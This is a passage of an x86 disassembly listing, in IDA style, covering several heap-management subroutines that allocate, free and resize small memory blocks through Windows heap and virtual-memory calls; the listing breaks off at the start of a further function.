mov ecx, [ebx+edx]
test cl, 1
mov [ebp+var_8], ecx
jnz short loc_418BCE
sar ecx, 4
push 3Fh
dec ecx
pop edi
mov [ebp+arg_4], ecx
cmp ecx, edi
jbe short loc_418B60
mov [ebp+arg_4], edi
loc_418B60: ; CODE XREF: sub_418B08+53j
mov ecx, [ebx+edx+4]
cmp ecx, [ebx+edx+8]
jnz short loc_418BB2
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_418B8E
mov edi, 80000000h
shr edi, cl
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+44h], edi
dec byte ptr [ecx]
jnz short loc_418BB2
mov ecx, [ebp+arg_0]
and [ecx], edi
jmp short loc_418BB2
; ---------------------------------------------------------------------------
loc_418B8E: ; CODE XREF: sub_418B08+68j
add ecx, 0FFFFFFE0h
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+0C4h], edi
dec byte ptr [ecx]
jnz short loc_418BB2
mov ecx, [ebp+arg_0]
and [ecx+4], edi
loc_418BB2: ; CODE XREF: sub_418B08+60j
; sub_418B08+7Dj ...
mov ecx, [ebx+edx+8]
mov edi, [ebx+edx+4]
mov [ecx+4], edi
mov ecx, [ebx+edx+4]
mov edi, [ebx+edx+8]
add ebx, [ebp+var_8]
mov [ecx+8], edi
mov [ebp+var_C], ebx
loc_418BCE: ; CODE XREF: sub_418B08+45j
mov edi, ebx
sar edi, 4
dec edi
cmp edi, 3Fh
jbe short loc_418BDC
push 3Fh
pop edi
loc_418BDC: ; CODE XREF: sub_418B08+CFj
mov ecx, [ebp+var_4]
and ecx, 1
mov [ebp+var_14], ecx
jnz loc_418C8B
sub edx, [ebp+var_4]
mov ecx, [ebp+var_4]
sar ecx, 4
push 3Fh
mov [ebp+var_8], edx
dec ecx
pop edx
cmp ecx, edx
mov [ebp+arg_4], ecx
jbe short loc_418C07
mov [ebp+arg_4], edx
mov ecx, edx
loc_418C07: ; CODE XREF: sub_418B08+F8j
add ebx, [ebp+var_4]
mov edi, ebx
mov [ebp+var_C], ebx
sar edi, 4
dec edi
cmp edi, edx
jbe short loc_418C19
mov edi, edx
loc_418C19: ; CODE XREF: sub_418B08+10Dj
cmp ecx, edi
jz short loc_418C88
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
cmp edx, [ecx+8]
jnz short loc_418C70
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_418C4C
mov edx, 80000000h
shr edx, cl
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+44h], edx
dec byte ptr [ecx]
jnz short loc_418C70
mov ecx, [ebp+arg_0]
and [ecx], edx
jmp short loc_418C70
; ---------------------------------------------------------------------------
loc_418C4C: ; CODE XREF: sub_418B08+126j
add ecx, 0FFFFFFE0h
mov edx, 80000000h
shr edx, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+0C4h], edx
dec byte ptr [ecx]
jnz short loc_418C70
mov ecx, [ebp+arg_0]
and [ecx+4], edx
loc_418C70: ; CODE XREF: sub_418B08+11Ej
; sub_418B08+13Bj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov [edx+8], ecx
loc_418C88: ; CODE XREF: sub_418B08+113j
mov edx, [ebp+var_8]
loc_418C8B: ; CODE XREF: sub_418B08+DDj
cmp [ebp+var_14], 0
jnz short loc_418C9A
cmp [ebp+arg_4], edi
jz loc_418D23
loc_418C9A: ; CODE XREF: sub_418B08+187j
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_418D23
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_418CF7
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_418CE6
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_418CE6: ; CODE XREF: sub_418B08+1CEj
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
lea eax, [eax+esi*4+44h]
or [eax], ebx
jmp short loc_418D20
; ---------------------------------------------------------------------------
loc_418CF7: ; CODE XREF: sub_418B08+1C8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_418D0D
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_418D0D: ; CODE XREF: sub_418B08+1F3j
lea ecx, [edi-20h]
mov edi, 80000000h
shr edi, cl
lea eax, [eax+esi*4+0C4h]
or [eax], edi
loc_418D20: ; CODE XREF: sub_418B08+1EDj
mov ebx, [ebp+var_C]
loc_418D23: ; CODE XREF: sub_418B08+18Cj
; sub_418B08+1B6j
mov eax, [ebp+var_10]
mov [edx], ebx
mov [ebx+edx-4], ebx
dec dword ptr [eax]
jnz loc_418E2E
mov eax, ds:dword_46AAD4
test eax, eax
jz loc_418E20
mov ecx, ds:dword_46AACC
mov edi, ds:dword_421178
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call edi ; VirtualFree
mov ecx, ds:dword_46AACC
mov eax, ds:dword_46AAD4
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, ds:dword_46AAD4
mov ecx, ds:dword_46AACC
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, ds:dword_46AAD4
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, ds:dword_46AAD4
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_418DAE
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, ds:dword_46AAD4
loc_418DAE: ; CODE XREF: sub_418B08+29Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_418E20
push ebx
push 0
push dword ptr [eax+0Ch]
call edi ; VirtualFree
mov eax, ds:dword_46AAD4
push dword ptr [eax+10h]
push 0
push ds:dword_46AAE0
call ds:dword_421150 ; RtlFreeHeap
mov eax, ds:dword_46AAD8
mov edx, ds:dword_46AADC
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, ds:dword_46AAD4
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_416470
mov eax, [ebp+arg_0]
add esp, 0Ch
dec ds:dword_46AAD8
cmp eax, ds:dword_46AAD4
jbe short loc_418E12
sub eax, 14h
loc_418E12: ; CODE XREF: sub_418B08+305j
mov ecx, ds:dword_46AADC
mov ds:dword_46AAD0, ecx
jmp short loc_418E23
; ---------------------------------------------------------------------------
loc_418E20: ; CODE XREF: sub_418B08+233j
; sub_418B08+2AAj
mov eax, [ebp+arg_0]
loc_418E23: ; CODE XREF: sub_418B08+316j
mov ds:dword_46AAD4, eax
mov ds:dword_46AACC, esi
loc_418E2E: ; CODE XREF: sub_418B08+226j
pop edi
pop esi
pop ebx
leave
retn
sub_418B08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E33 proc near ; CODE XREF: sub_415DE7+Ep
; sub_4174BF+69p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, ds:dword_46AAD8
mov edx, ds:dword_46AADC
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_418E73
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_418E83
; ---------------------------------------------------------------------------
loc_418E73: ; CODE XREF: sub_418E33+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_418E83: ; CODE XREF: sub_418E33+3Ej
mov eax, ds:dword_46AAD0
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_418EAA
loc_418E91: ; CODE XREF: sub_418E33+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_418EAA
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_418E91
loc_418EAA: ; CODE XREF: sub_418E33+5Cj
; sub_418E33+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_418F28
mov ebx, edx
loc_418EB1: ; CODE XREF: sub_418E33+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_418ECD
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_418ECB
add ebx, 14h
jmp short loc_418EB1
; ---------------------------------------------------------------------------
loc_418ECB: ; CODE XREF: sub_418E33+91j
cmp ebx, eax
loc_418ECD: ; CODE XREF: sub_418E33+83j
jnz short loc_418F28
loc_418ECF: ; CODE XREF: sub_418E33+ADj
cmp ebx, [ebp+var_4]
jnb short loc_418EE5
cmp dword ptr [ebx+8], 0
jnz short loc_418EE2
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_418ECF
; ---------------------------------------------------------------------------
loc_418EE2: ; CODE XREF: sub_418E33+A5j
cmp ebx, [ebp+var_4]
loc_418EE5: ; CODE XREF: sub_418E33+9Fj
jnz short loc_418F0D
mov ebx, edx
loc_418EE9: ; CODE XREF: sub_418E33+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_418EFD
cmp dword ptr [ebx+8], 0
jnz short loc_418EFB
add ebx, 14h
jmp short loc_418EE9
; ---------------------------------------------------------------------------
loc_418EFB: ; CODE XREF: sub_418E33+C1j
cmp ebx, eax
loc_418EFD: ; CODE XREF: sub_418E33+BBj
jnz short loc_418F0D
call sub_41913C
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_418F21
loc_418F0D: ; CODE XREF: sub_418E33:loc_418EE5j
; sub_418E33:loc_418EFDj
push ebx
call sub_4191ED
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_418F28
loc_418F21: ; CODE XREF: sub_418E33+D8j
xor eax, eax
jmp loc_419137
; ---------------------------------------------------------------------------
loc_418F28: ; CODE XREF: sub_418E33+7Aj
; sub_418E33:loc_418ECDj ...
mov ds:dword_46AAD0, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_418F4F
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_418F86
loc_418F4F: ; CODE XREF: sub_418E33+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_418F83
loc_418F6C: ; CODE XREF: sub_418E33+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_418F6C
loc_418F83: ; CODE XREF: sub_418E33+137j
mov edx, [ebp+var_4]
loc_418F86: ; CODE XREF: sub_418E33+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_418FAF
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_418FAF: ; CODE XREF: sub_418E33+16Dj
; sub_418E33+183j
test ecx, ecx
jl short loc_418FB8
shl ecx, 1
inc edi
jmp short loc_418FAF
; ---------------------------------------------------------------------------
loc_418FB8: ; CODE XREF: sub_418E33+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_418FD5
push 3Fh
pop esi
loc_418FD5: ; CODE XREF: sub_418E33+19Dj
cmp esi, edi
jz loc_4190EA
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_419046
cmp edi, 20h
jge short loc_419015
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_419043
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_419046
; ---------------------------------------------------------------------------
loc_419015: ; CODE XREF: sub_418E33+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_419043
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_419046
; ---------------------------------------------------------------------------
loc_419043: ; CODE XREF: sub_418E33+1D6j
; sub_418E33+203j
mov ebx, [ebp+arg_0]
loc_419046: ; CODE XREF: sub_418E33+1B0j
; sub_418E33+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_4190F6
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_4190E7
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_4190B8
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_4190A6
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_4190A6: ; CODE XREF: sub_418E33+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_4190E7
; ---------------------------------------------------------------------------
loc_4190B8: ; CODE XREF: sub_418E33+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_4190D1
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_4190D1: ; CODE XREF: sub_418E33+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_4190E7: ; CODE XREF: sub_418E33+24Ej
; sub_418E33+283j
mov ecx, [ebp+var_8]
loc_4190EA: ; CODE XREF: sub_418E33+1A4j
test ecx, ecx
jz short loc_4190F9
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_4190F9
; ---------------------------------------------------------------------------
loc_4190F6: ; CODE XREF: sub_418E33+229j
mov ecx, [ebp+var_8]
loc_4190F9: ; CODE XREF: sub_418E33+2B9j
; sub_418E33+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41912F
cmp ebx, ds:dword_46AAD4
jnz short loc_41912F
mov ecx, [ebp+var_4]
cmp ecx, ds:dword_46AACC
jnz short loc_41912F
and ds:dword_46AAD4, 0
loc_41912F: ; CODE XREF: sub_418E33+2E0j
; sub_418E33+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_419137: ; CODE XREF: sub_418E33+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_418E33 endp
; =============== S U B R O U T I N E =======================================
sub_41913C proc near ; CODE XREF: sub_418E33+CCp
mov eax, ds:dword_46AAD8
mov ecx, ds:dword_46AAC8
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41917F
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push ds:dword_46AADC
push edi
push ds:dword_46AAE0
call ds:dword_421160 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_4191CF
add ds:dword_46AAC8, 10h
mov ds:dword_46AADC, eax
mov eax, ds:dword_46AAD8
loc_41917F: ; CODE XREF: sub_41913C+11j
mov ecx, ds:dword_46AADC
push 41C4h
push 8
lea eax, [eax+eax*4]
push ds:dword_46AAE0
lea esi, [ecx+eax*4]
call ds:dword_42114C ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_4191CF
push 4
push 2000h
push 100000h
push edi
call ds:dword_42117C ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_4191D3
push dword ptr [esi+10h]
push edi
push ds:dword_46AAE0
call ds:dword_421150 ; RtlFreeHeap
loc_4191CF: ; CODE XREF: sub_41913C+30j
; sub_41913C+67j
xor eax, eax
jmp short loc_4191EA
; ---------------------------------------------------------------------------
loc_4191D3: ; CODE XREF: sub_41913C+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc ds:dword_46AAD8
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_4191EA: ; CODE XREF: sub_41913C+95j
pop edi
pop esi
retn
sub_41913C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4191ED proc near ; CODE XREF: sub_418E33+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_4191FF: ; CODE XREF: sub_4191ED+19j
test eax, eax
jl short loc_419208
shl eax, 1
inc ebx
jmp short loc_4191FF
; ---------------------------------------------------------------------------
loc_419208: ; CODE XREF: sub_4191ED+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41921D: ; CODE XREF: sub_4191ED+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41921D
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call ds:dword_42117C ; VirtualAlloc
test eax, eax
jnz short loc_419250
or eax, 0FFFFFFFFh
jmp loc_4192E3
; ---------------------------------------------------------------------------
loc_419250: ; CODE XREF: sub_4191ED+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_419296
lea eax, [edi+10h]
loc_41925D: ; CODE XREF: sub_4191ED+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41925D
loc_419296: ; CODE XREF: sub_4191ED+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_4192D3
or [eax+4], edi
loc_4192D3: ; CODE XREF: sub_4191ED+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_4192E3: ; CODE XREF: sub_4191ED+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_4191ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192E8 proc near ; CODE XREF: sub_4174BF+58p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_419496
test bl, 1
jnz loc_41948F
add ebx, ecx
cmp esi, ebx
jg loc_41948F
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41935F
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41935F: ; CODE XREF: sub_4192E8+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_4193AF
cmp ecx, 20h
jnb short loc_41938B
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_4193AF
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_4193AF
; ---------------------------------------------------------------------------
loc_41938B: ; CODE XREF: sub_4192E8+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_4193AF
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_4193AF: ; CODE XREF: sub_4192E8+7Dj
; sub_4192E8+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41947D
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_4193E9
push 3Fh
pop edi
loc_4193E9: ; CODE XREF: sub_4192E8+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41946B
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_419442
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_419435
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_419435: ; CODE XREF: sub_4192E8+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_419467
; ---------------------------------------------------------------------------
loc_419442: ; CODE XREF: sub_4192E8+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_419458
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_419458: ; CODE XREF: sub_4192E8+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_419467: ; CODE XREF: sub_4192E8+158j
shr edx, cl
or [eax], edx
loc_41946B: ; CODE XREF: sub_4192E8+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_419480
; ---------------------------------------------------------------------------
loc_41947D: ; CODE XREF: sub_4192E8+E5j
mov edx, [ebp+arg_4]
loc_419480: ; CODE XREF: sub_4192E8+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_4195D6
; ---------------------------------------------------------------------------
loc_41948F: ; CODE XREF: sub_4192E8+52j
; sub_4192E8+5Cj
xor eax, eax
jmp loc_4195D9
; ---------------------------------------------------------------------------
loc_419496: ; CODE XREF: sub_4192E8+49j
jge loc_4195D6
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_4194C1
push 3Fh
pop esi
loc_4194C1: ; CODE XREF: sub_4192E8+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_419550
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_4194DA
push 3Fh
pop esi
loc_4194DA: ; CODE XREF: sub_4192E8+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_419529
cmp esi, 20h
jnb short loc_419505
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_419526
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_419526
; ---------------------------------------------------------------------------
loc_419505: ; CODE XREF: sub_4192E8+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_419526
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_419526: ; CODE XREF: sub_4192E8+214j
; sub_4192E8+21Bj ...
mov ebx, [ebp+arg_4]
loc_419529: ; CODE XREF: sub_4192E8+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_419550
push 3Fh
pop esi
loc_419550: ; CODE XREF: sub_4192E8+1DDj
; sub_4192E8+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_4195CD
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_4195A4
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_419597
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_419597: ; CODE XREF: sub_4192E8+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_4195C9
; ---------------------------------------------------------------------------
loc_4195A4: ; CODE XREF: sub_4192E8+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4195BA
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_4195BA: ; CODE XREF: sub_4192E8+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_4195C9: ; CODE XREF: sub_4192E8+2BAj
shr edx, cl
or [eax], edx
loc_4195CD: ; CODE XREF: sub_4192E8+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_4195D6: ; CODE XREF: sub_4192E8+1A2j
; sub_4192E8:loc_419496j
push 1
pop eax
loc_4195D9: ; CODE XREF: sub_4192E8+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_4192E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_4195DE(int,int,double,int)
sub_4195DE proc near ; CODE XREF: sub_415E4C+51p
; sub_415F93+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
